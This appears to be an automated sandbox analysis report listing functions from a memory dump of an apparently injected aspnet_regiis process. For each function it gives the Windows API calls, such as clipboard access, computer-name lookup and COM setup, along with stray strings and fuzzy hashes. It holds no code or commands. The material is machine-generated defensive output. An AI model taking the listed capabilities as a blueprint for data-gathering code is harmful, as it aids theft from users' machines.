Instruction Fuzzy Hash: E53103715083049BC324DF58D8D166FBBE4EBC5314F14892CEA9A93290D7799848CB96

Function 0072CC7A Relevance: .1, Instructions: 139COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1892342569.0000000000721000.00000020.00000400.00020000.00000000.sdmp, Offset: 00720000, based on PE: true

Associated: 00000002.00000002.1892184795.0000000000720000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1892502749.0000000000762000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1892881210.0000000000765000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1893078830.0000000000773000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_720000_aspnet_regiis.jbxd

Similarity

API ID: EnvironmentExpandStrings$Clipboard$Global$CloseDataLockLongOpenUnlockWindow
String ID:
API String ID: 1780199113-0
Opcode ID: 7d58e1fc67e67b15ccb894f96cddb4e2a0d9e3a802dbecf1aa0bd2f08b47c081
Instruction ID: 575e99e5ebc3563198b2296325e79af44e1760d76e0eafd45fa3b48a8845d30e
Opcode Fuzzy Hash: 7d58e1fc67e67b15ccb894f96cddb4e2a0d9e3a802dbecf1aa0bd2f08b47c081
Instruction Fuzzy Hash: 23314EE9B01250ABE90576313C6BA7F61575BD0718F0C142CF50B27383EE6EF916A197

Function 00728A50 Relevance: .1, Instructions: 90COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1892342569.0000000000721000.00000020.00000400.00020000.00000000.sdmp, Offset: 00720000, based on PE: true

Associated: 00000002.00000002.1892184795.0000000000720000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1892502749.0000000000762000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1892881210.0000000000765000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1893078830.0000000000773000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_720000_aspnet_regiis.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: de8a8dcc9c3ab3076e5cd776fb6cd32bc0718f272d39d571d2e216b7fbce9e89
Instruction ID: c5a7daae527b77246c27beb81b28209e5ada635ad548018f072646a3453ede13
Opcode Fuzzy Hash: de8a8dcc9c3ab3076e5cd776fb6cd32bc0718f272d39d571d2e216b7fbce9e89
Instruction Fuzzy Hash: 6021C537A627184BD3108E54DCC97917761E7D9328F3E86B8C9249F3D2C97BA91386C0

Function 00729D1E Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 142
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryExW.KERNEL32(?,00000000), ref: 00729D98
LoadLibraryExW.KERNEL32(?,00000000), ref: 00729E78

Strings

CK{, xrefs: 00729E85

Memory Dump Source

Source File: 00000002.00000002.1892342569.0000000000721000.00000020.00000400.00020000.00000000.sdmp, Offset: 00720000, based on PE: true

Associated: 00000002.00000002.1892184795.0000000000720000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1892502749.0000000000762000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1892881210.0000000000765000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1893078830.0000000000773000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_720000_aspnet_regiis.jbxd

Similarity

API ID: LibraryLoad
String ID: CK{
API String ID: 1029625771-1506268401
Opcode ID: cd21534984915b12ec73a2ba147000f03e8ef6e8819d34489054e5d826f117be
Instruction ID: 2fe5fdc2cc001203619e3caef31d9a999e6f4c33bb4304f968fa205f3acb91e6
Opcode Fuzzy Hash: cd21534984915b12ec73a2ba147000f03e8ef6e8819d34489054e5d826f117be
Instruction Fuzzy Hash: D5412274D003409FE7249F7898D6A9A7F71FB06324F40429CD4902F3A6C735980ACBE2

Function 0074D7EE Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 85
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FreeLibrary.KERNEL32(?), ref: 0074D898
GetComputerNameExA.KERNELBASE(00000006,?,?), ref: 0074DC43

Strings

;87>, xrefs: 0074DBEB

Memory Dump Source

Source File: 00000002.00000002.1892342569.0000000000721000.00000020.00000400.00020000.00000000.sdmp, Offset: 00720000, based on PE: true

Associated: 00000002.00000002.1892184795.0000000000720000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1892502749.0000000000762000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1892881210.0000000000765000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1893078830.0000000000773000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_720000_aspnet_regiis.jbxd

Similarity

API ID: ComputerFreeLibraryName
String ID: ;87>
API String ID: 2904949787-2104535307
Opcode ID: cb1520372f8f11990b06f7b0fcdc34c695a173f1f037521cdb5d811bb5e2f447
Instruction ID: 5a2cdd8fc2e61618275f792877bc01d5a721f6ad13f767cd19c963ab57ad68be
Opcode Fuzzy Hash: cb1520372f8f11990b06f7b0fcdc34c695a173f1f037521cdb5d811bb5e2f447
Instruction Fuzzy Hash: EA21C4B1504742CFDB328F25D850726BFE2AF57301F18C699D4D68B292DB789C42CB61

Function 0074D893 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 62
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FreeLibrary.KERNEL32(?), ref: 0074D898
GetComputerNameExA.KERNELBASE(00000006,?,?), ref: 0074DC43

Strings

;87>, xrefs: 0074DBEB

Memory Dump Source

Source File: 00000002.00000002.1892342569.0000000000721000.00000020.00000400.00020000.00000000.sdmp, Offset: 00720000, based on PE: true

Associated: 00000002.00000002.1892184795.0000000000720000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1892502749.0000000000762000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1892881210.0000000000765000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1893078830.0000000000773000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_720000_aspnet_regiis.jbxd

Similarity

API ID: ComputerFreeLibraryName
String ID: ;87>
API String ID: 2904949787-2104535307
Opcode ID: 8075a18870f393edfec174d046d159a1d9a44367e7f24b1d974889eb2462fe44
Instruction ID: d97b691f351a3c9ba1ed21fd5849f325182b8eee28eec304362fbd7178479d37
Opcode Fuzzy Hash: 8075a18870f393edfec174d046d159a1d9a44367e7f24b1d974889eb2462fe44
Instruction Fuzzy Hash: E911C8B1501742CFD7218F35DC50766BBE2EF47311F19C694D4D68B292EB789841CB51

Function 0075E34B Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 59COMMON

Download Yara Rule

APIs

GetForegroundWindow.USER32 ref: 0075E3BA

Strings

, xrefs: 0075E365, 0075E37C

Memory Dump Source

Source File: 00000002.00000002.1892342569.0000000000721000.00000020.00000400.00020000.00000000.sdmp, Offset: 00720000, based on PE: true

Associated: 00000002.00000002.1892184795.0000000000720000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1892502749.0000000000762000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1892881210.0000000000765000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1893078830.0000000000773000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_720000_aspnet_regiis.jbxd

Similarity

API ID: ForegroundWindow
String ID:
API String ID: 2020703349-3019521637
Opcode ID: c966422e33c375d5dd9c6372cd45a0accf2ba44c38ce344de297d6daaa52b23b
Instruction ID: 086470e005cdf95a4dcdab8bb7bfad4d0100560b4fa50134fbbafb774d9bcc2a
Opcode Fuzzy Hash: c966422e33c375d5dd9c6372cd45a0accf2ba44c38ce344de297d6daaa52b23b
Instruction Fuzzy Hash: 42112B76E409554BDF08CB79DC171EA77A2B7C432572D86B9CC17E3290DA7C49068A84

Function 0072EF53 Relevance: 3.1, APIs: 2, Instructions: 116COMMON

Download Yara Rule

APIs

CoInitializeEx.OLE32(00000000,00000002), ref: 0072EF57
CoInitializeEx.COMBASE(00000000,00000002), ref: 0072F09C

Memory Dump Source

Source File: 00000002.00000002.1892342569.0000000000721000.00000020.00000400.00020000.00000000.sdmp, Offset: 00720000, based on PE: true

Associated: 00000002.00000002.1892184795.0000000000720000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1892502749.0000000000762000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1892881210.0000000000765000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1893078830.0000000000773000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_720000_aspnet_regiis.jbxd

Similarity

API ID: Initialize
String ID:
API String ID: 2538663250-0
Opcode ID: 8e18e80e202ed01620de1325316161bd89d0f4138e16c5c4f5039a8e62b48535
Instruction ID: 9f3e702e6b9bb2da970e748bc6d3a6f89c45b712520b8e46a37b70a14896a07f
Opcode Fuzzy Hash: 8e18e80e202ed01620de1325316161bd89d0f4138e16c5c4f5039a8e62b48535
Instruction Fuzzy Hash: 2A41C7B4910B40AFD370EF39DA0B7137EB8AB05250F508B1DF9E6866D4E235A4198BD7

Function 0072EC77 Relevance: 3.0, APIs: 2, Instructions: 27COMMON

Download Yara Rule

APIs

CoInitializeSecurity.OLE32(00000000,000000FF,00000000,00000000,00000000,00000003,00000000,00000000,00000000), ref: 0072EC89
CoInitializeSecurity.COMBASE(00000000,000000FF,00000000,00000000,00000000,00000003,00000000,00000000,00000000), ref: 0072ECA2

Memory Dump Source

Source File: 00000002.00000002.1892342569.0000000000721000.00000020.00000400.00020000.00000000.sdmp, Offset: 00720000, based on PE: true

Associated: 00000002.00000002.1892184795.0000000000720000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1892502749.0000000000762000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1892881210.0000000000765000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1893078830.0000000000773000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_720000_aspnet_regiis.jbxd

Similarity

API ID: InitializeSecurity
String ID:
API String ID: 640775948-0
Opcode ID: 0fa45b97284c351b8f3da443927dcae05ff1650f17fac1bf5e572d427dc1a2d0
Instruction ID: 31d9e94037d624247d3c91463fcbb457effc0b98ad05209988913f7ce305f2ec
Opcode Fuzzy Hash: 0fa45b97284c351b8f3da443927dcae05ff1650f17fac1bf5e572d427dc1a2d0
Instruction Fuzzy Hash: 5EE024743D9341BAF6B98714ED67F143226AB46F26F308304F72A7DBE58AE83201851D

Function 00757764 Relevance: 1.6, APIs: 1, Instructions: 90COMMON

Download Yara Rule

APIs

GetUserDefaultUILanguage.KERNELBASE ref: 0075779D

Memory Dump Source

Source File: 00000002.00000002.1892342569.0000000000721000.00000020.00000400.00020000.00000000.sdmp, Offset: 00720000, based on PE: true

Associated: 00000002.00000002.1892184795.0000000000720000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1892502749.0000000000762000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1892881210.0000000000765000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1893078830.0000000000773000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_720000_aspnet_regiis.jbxd

Similarity

API ID: DefaultLanguageUser
String ID:
API String ID: 95929093-0
Opcode ID: 064146c5b12ea53e323e42fd1c69a3bca6c122e26c53a4883e64df6a7a80c121
Instruction ID: 516b5261599080ef91dd38355418583852aad51b38fbb3a97913da791d3a5148
Opcode Fuzzy Hash: 064146c5b12ea53e323e42fd1c69a3bca6c122e26c53a4883e64df6a7a80c121
Instruction Fuzzy Hash: FA31F532B466408FD719CA78DC877ADBBE28B95314F0E80A9D459C7392D93C8946CB20

Function 0074D7BD Relevance: 1.6, APIs: 1, Instructions: 88COMMON

Download Yara Rule

APIs

GetComputerNameExA.KERNELBASE(00000005,?,?), ref: 0074DD03

Memory Dump Source

Source File: 00000002.00000002.1892342569.0000000000721000.00000020.00000400.00020000.00000000.sdmp, Offset: 00720000, based on PE: true

Associated: 00000002.00000002.1892184795.0000000000720000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1892502749.0000000000762000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1892881210.0000000000765000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1893078830.0000000000773000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_720000_aspnet_regiis.jbxd

Similarity

API ID: ComputerName
String ID:
API String ID: 3545744682-0
Opcode ID: 844e4ee2c1cebddf3b64bfc166a1cbc32418a8f5b366de2336d88c77af214129
Instruction ID: 95e2a4bdac6c2bf4273b86e25d24c59e028e53cbbb088e9ea5dec5ffc8316dff
Opcode Fuzzy Hash: 844e4ee2c1cebddf3b64bfc166a1cbc32418a8f5b366de2336d88c77af214129
Instruction Fuzzy Hash: 3D2192706047918FD7368F24C4A0722BBE1BF5B304B18968DD4D38B686CB78A845D762

Function 0074DC76 Relevance: 1.6, APIs: 1, Instructions: 69COMMON

Download Yara Rule

APIs

GetComputerNameExA.KERNELBASE(00000005,?,?), ref: 0074DD03

Memory Dump Source

Source File: 00000002.00000002.1892342569.0000000000721000.00000020.00000400.00020000.00000000.sdmp, Offset: 00720000, based on PE: true

Associated: 00000002.00000002.1892184795.0000000000720000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1892502749.0000000000762000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1892881210.0000000000765000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1893078830.0000000000773000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_720000_aspnet_regiis.jbxd

Similarity

API ID: ComputerName
String ID:
API String ID: 3545744682-0
Opcode ID: c971f70d50a72bb8878e37de8d760980d13a3e40acb5dc099fbd88e40543ec23
Instruction ID: 074672eefc2018d896878be0b8857c50ab5d7314797b3cd25d42dc320cdaeef0
Opcode Fuzzy Hash: c971f70d50a72bb8878e37de8d760980d13a3e40acb5dc099fbd88e40543ec23
Instruction Fuzzy Hash: C411C4B06047918FD7258F24C8A0722BBA2BF4A300B1CC69DD493CB382CB78D841D761

Function 0075E0A0 Relevance: 1.5, APIs: 1, Instructions: 31memoryCOMMON

Download Yara Rule

APIs

RtlReAllocateHeap.NTDLL(?,00000000), ref: 0075E0E0

Memory Dump Source

Source File: 00000002.00000002.1892342569.0000000000721000.00000020.00000400.00020000.00000000.sdmp, Offset: 00720000, based on PE: true

Associated: 00000002.00000002.1892184795.0000000000720000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1892502749.0000000000762000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1892881210.0000000000765000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1893078830.0000000000773000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_720000_aspnet_regiis.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: c5e69d2717bf3a6c40c624759394bc02e969ea4bd00864118afa48317c0ba153
Instruction ID: 39866f9532d12aea160756a353dd5d283dc55f689d26ab258707d52a727fb1a1
Opcode Fuzzy Hash: c5e69d2717bf3a6c40c624759394bc02e969ea4bd00864118afa48317c0ba153
Instruction Fuzzy Hash: 1FF0A731814312FBC2112F247D05A9736A8EFC2711F154435F81597151EBBCE81AC595

Function 0075E3A9 Relevance: 1.5, APIs: 1, Instructions: 26COMMON

Download Yara Rule

APIs

GetForegroundWindow.USER32 ref: 0075E3BA

Memory Dump Source

Source File: 00000002.00000002.1892342569.0000000000721000.00000020.00000400.00020000.00000000.sdmp, Offset: 00720000, based on PE: true

Associated: 00000002.00000002.1892184795.0000000000720000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1892502749.0000000000762000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1892881210.0000000000765000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1893078830.0000000000773000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_720000_aspnet_regiis.jbxd

Similarity

API ID: ForegroundWindow
String ID:
API String ID: 2020703349-0
Opcode ID: 01c482c241b7cdd7a95c6bd86a7a6964ad074306b69560ae2f3bd47159f8cc3e
Instruction ID: c132d87eb843269fefe6e23a3adb1e1a87a35af0a1f0c7cf9109eb1cf0831ac1
Opcode Fuzzy Hash: 01c482c241b7cdd7a95c6bd86a7a6964ad074306b69560ae2f3bd47159f8cc3e
Instruction Fuzzy Hash: 96F0A0FEE802128FDB04CF55EC5446533A7B7D831631DC469D906E3225DFB8A902CA45

Function 00750B2B Relevance: 1.5, APIs: 1, Instructions: 24COMMON

Download Yara Rule

APIs

CoSetProxyBlanket.COMBASE ref: 00750B74

Memory Dump Source

Source File: 00000002.00000002.1892342569.0000000000721000.00000020.00000400.00020000.00000000.sdmp, Offset: 00720000, based on PE: true

Associated: 00000002.00000002.1892184795.0000000000720000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1892502749.0000000000762000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1892881210.0000000000765000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1893078830.0000000000773000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_720000_aspnet_regiis.jbxd

Similarity

API ID: BlanketProxy
String ID:
API String ID: 3890896728-0
Opcode ID: 69ce51d5c8a9048290e3aebfbd145426df6b65b725838c4c4bd45af6b4686503
Instruction ID: e1b513b3575283d5579bc9a341b46a44cdfadf2bf656882281efd1f04feee4d0
Opcode Fuzzy Hash: 69ce51d5c8a9048290e3aebfbd145426df6b65b725838c4c4bd45af6b4686503
Instruction Fuzzy Hash: 83F0D0B4109701CFD344DF24D1A471A7BF0FB88304F10884CE4968B390CBB59A48CF82

Function 007528EB Relevance: 1.5, APIs: 1, Instructions: 23COMMON

Download Yara Rule

APIs

CoSetProxyBlanket.COMBASE ref: 0075292F

Memory Dump Source

Source File: 00000002.00000002.1892342569.0000000000721000.00000020.00000400.00020000.00000000.sdmp, Offset: 00720000, based on PE: true

Associated: 00000002.00000002.1892184795.0000000000720000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1892502749.0000000000762000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1892881210.0000000000765000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1893078830.0000000000773000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_720000_aspnet_regiis.jbxd

Similarity

API ID: BlanketProxy
String ID:
API String ID: 3890896728-0
Opcode ID: f51346924ac60e10f50912aab23df92b5d0204b9e5b5e7bd0d306c73ec0eb300
Instruction ID: 5e69d0311e21463659b75ea954a2eb6defac423df520df51ba28c35b5e0ff2c7
Opcode Fuzzy Hash: f51346924ac60e10f50912aab23df92b5d0204b9e5b5e7bd0d306c73ec0eb300
Instruction Fuzzy Hash: 94F07AB46083418FD354DF24C5A871BBBE1BB84308F00891DE5998B390C7B99549CF82

Function 0075C570 Relevance: 1.5, APIs: 1, Instructions: 15memoryCOMMON

Download Yara Rule

APIs

RtlFreeHeap.NTDLL(?,00000000,?,0075E0F9), ref: 0075C590

Memory Dump Source

Source File: 00000002.00000002.1892342569.0000000000721000.00000020.00000400.00020000.00000000.sdmp, Offset: 00720000, based on PE: true

Associated: 00000002.00000002.1892184795.0000000000720000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1892502749.0000000000762000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1892881210.0000000000765000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1893078830.0000000000773000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_720000_aspnet_regiis.jbxd

Similarity

API ID: FreeHeap
String ID:
API String ID: 3298025750-0
Opcode ID: 3c04567bd0cf67e4d7749d0d10093b4eb0c32bebe01c52ddc0d032aa0919d6f2
Instruction ID: e1d7300dddcbe3817bc64cfe83a5b472ce7746454fc69740a432f6e034ca7d65
Opcode Fuzzy Hash: 3c04567bd0cf67e4d7749d0d10093b4eb0c32bebe01c52ddc0d032aa0919d6f2
Instruction Fuzzy Hash: 16D0C931419622EBC6102F28BC05BC73A589F49261F074891F514AA075C768EC91CAD4

Function 0075C55B Relevance: 1.5, APIs: 1, Instructions: 6memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(?,00000000), ref: 0075C561

Memory Dump Source

Source File: 00000002.00000002.1892342569.0000000000721000.00000020.00000400.00020000.00000000.sdmp, Offset: 00720000, based on PE: true

Associated: 00000002.00000002.1892184795.0000000000720000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1892502749.0000000000762000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1892881210.0000000000765000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1893078830.0000000000773000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_720000_aspnet_regiis.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 07d305e164c468bae7233e61bc0fa627ed2f31fcb98255365c183bb90e10b0b6
Instruction ID: a61c0fe4462f4c3f3130554de00ab9e53d8cad2078091387f7b1ae4b30738dfe
Opcode Fuzzy Hash: 07d305e164c468bae7233e61bc0fa627ed2f31fcb98255365c183bb90e10b0b6
Instruction Fuzzy Hash: 35A01130080020AACA222B20BC08FC23E20EB082A0F028082F008880B282208882CA88

Non-executed Functions

Function 0073C8A0 Relevance: 15.6, Strings: 12, Instructions: 585COMMON

Download Yara Rule

Strings

a`|v, xrefs: 0073C8A1
\701, xrefs: 0073CF55
4UW, xrefs: 0073CCE0
"nl, xrefs: 0073CC10
*", xrefs: 0073CE7A
\701, xrefs: 0073CF03, 0073CF0C
uvw, xrefs: 0073CA0A
MO, xrefs: 0073CD10
#M%O, xrefs: 0073C9FA
pv, xrefs: 0073CB36
wt, xrefs: 0073CB3E
AC, xrefs: 0073CCF8

Memory Dump Source

Source File: 00000002.00000002.1892342569.0000000000721000.00000020.00000400.00020000.00000000.sdmp, Offset: 00720000, based on PE: true

Associated: 00000002.00000002.1892184795.0000000000720000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1892502749.0000000000762000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1892881210.0000000000765000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1893078830.0000000000773000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_720000_aspnet_regiis.jbxd

Similarity

API ID:
String ID: "nl$#M%O$*"$4UW$\701$\701$a`|v$wt$AC$MO$pv$uvw
API String ID: 0-635595044
Opcode ID: 8d0eada960b9db452e1f7c613afe6bb361832d3c66aa10a4c7bc8ef8d49488e3
Instruction ID: cfb1669cf9fe6350db283f9f18fb04f36beec9cb7fa2ae67b35f9cdb020ad4c6
Opcode Fuzzy Hash: 8d0eada960b9db452e1f7c613afe6bb361832d3c66aa10a4c7bc8ef8d49488e3
Instruction Fuzzy Hash: 5B02E1B660C3108BD7049F68D89166BBBF1EFD1314F198D2CF4C59B352D2389A09CB96

Function 007481CC Relevance: 7.6, APIs: 2, Strings: 2, Instructions: 593COMMON

Download Yara Rule

APIs

RtlExpandEnvironmentStrings.NTDLL(00000000,?,0000001E,00000000,00000000,?), ref: 007484BD
RtlExpandEnvironmentStrings.NTDLL(00000000,?,0000001E,00000000,?,?), ref: 007485B4

Strings

_^]\, xrefs: 00748A15
LF7Y, xrefs: 00748951

Memory Dump Source

Source File: 00000002.00000002.1892342569.0000000000721000.00000020.00000400.00020000.00000000.sdmp, Offset: 00720000, based on PE: true

Associated: 00000002.00000002.1892184795.0000000000720000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1892502749.0000000000762000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1892881210.0000000000765000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1893078830.0000000000773000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_720000_aspnet_regiis.jbxd

Similarity

API ID: EnvironmentExpandStrings
String ID: LF7Y$_^]\
API String ID: 237503144-3688711800
Opcode ID: c004d96c4db9a570eea45fbe0ab0a058a62d31ea0a4cacf2709fdcbc8f1b0cd8
Instruction ID: 50bab94249a2c7deba0492f9d84e208e140d78f843599886f2932b35d39519ad
Opcode Fuzzy Hash: c004d96c4db9a570eea45fbe0ab0a058a62d31ea0a4cacf2709fdcbc8f1b0cd8
Instruction Fuzzy Hash: 8A22017190C341CFD3288F28D89072FBBE1BF89314F198A6CE996573A1D7799901CB96

Function 007491AE Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 186COMMON

Download Yara Rule

APIs

RtlExpandEnvironmentStrings.NTDLL(00000000,?,00000009,00000000,?), ref: 007491DA

Strings

wpq, xrefs: 007492B7
+Ku, xrefs: 007492AF

Memory Dump Source

Source File: 00000002.00000002.1892342569.0000000000721000.00000020.00000400.00020000.00000000.sdmp, Offset: 00720000, based on PE: true

Associated: 00000002.00000002.1892184795.0000000000720000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1892502749.0000000000762000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1892881210.0000000000765000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1893078830.0000000000773000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_720000_aspnet_regiis.jbxd

Similarity

API ID: EnvironmentExpandStrings
String ID: +Ku$wpq
API String ID: 237503144-1953850642
Opcode ID: c5b79acac20e03018182141dd697ab7eb35b0c1a1d9bd173a5fc300b31f22832
Instruction ID: 3a6ad0a8d4c42a4e3c0dfee4010065fa74ef4bcf7f0afeb1f26e68f0bba72e29
Opcode Fuzzy Hash: c5b79acac20e03018182141dd697ab7eb35b0c1a1d9bd173a5fc300b31f22832
Instruction Fuzzy Hash: 9551CD7221C3568FC324CF29984076FB7E2EBC5310F55892DE5AACB285DB74D50ACB92

Function 007548C2 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 108COMMON

Download Yara Rule

APIs

GetSystemMetrics.USER32 ref: 00754910
GetSystemMetrics.USER32 ref: 0075491F

Strings

, xrefs: 007549F3

Memory Dump Source

Source File: 00000002.00000002.1892342569.0000000000721000.00000020.00000400.00020000.00000000.sdmp, Offset: 00720000, based on PE: true

Associated: 00000002.00000002.1892184795.0000000000720000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1892502749.0000000000762000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1892881210.0000000000765000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1893078830.0000000000773000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_720000_aspnet_regiis.jbxd

Similarity

API ID: MetricsSystem
String ID:
API String ID: 4116985748-3916222277
Opcode ID: 5e22f55dd2d02b173c4ee3805dfe6e793218203c8dfd80e8549f64f4a3385080
Instruction ID: 119348dfc34023e70e1d664dec28341a2d5679c09c5ceb32f5937b540e4405e5
Opcode Fuzzy Hash: 5e22f55dd2d02b173c4ee3805dfe6e793218203c8dfd80e8549f64f4a3385080
Instruction Fuzzy Hash: 3C5161B0E152089FDB40EFACD98569DBBF0BB48310F10852EE899E7350D774A944CF96

Function 007490D0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 71COMMON

Download Yara Rule

APIs

RtlExpandEnvironmentStrings.NTDLL(00000000,?,00000009,00000000,00000000,?), ref: 00749170

Strings

M/(, xrefs: 0074913D
M/(, xrefs: 0074919E

Memory Dump Source

Source File: 00000002.00000002.1892342569.0000000000721000.00000020.00000400.00020000.00000000.sdmp, Offset: 00720000, based on PE: true

Associated: 00000002.00000002.1892184795.0000000000720000.00000040.00000400.00020000.00000000.sdmpDownload File
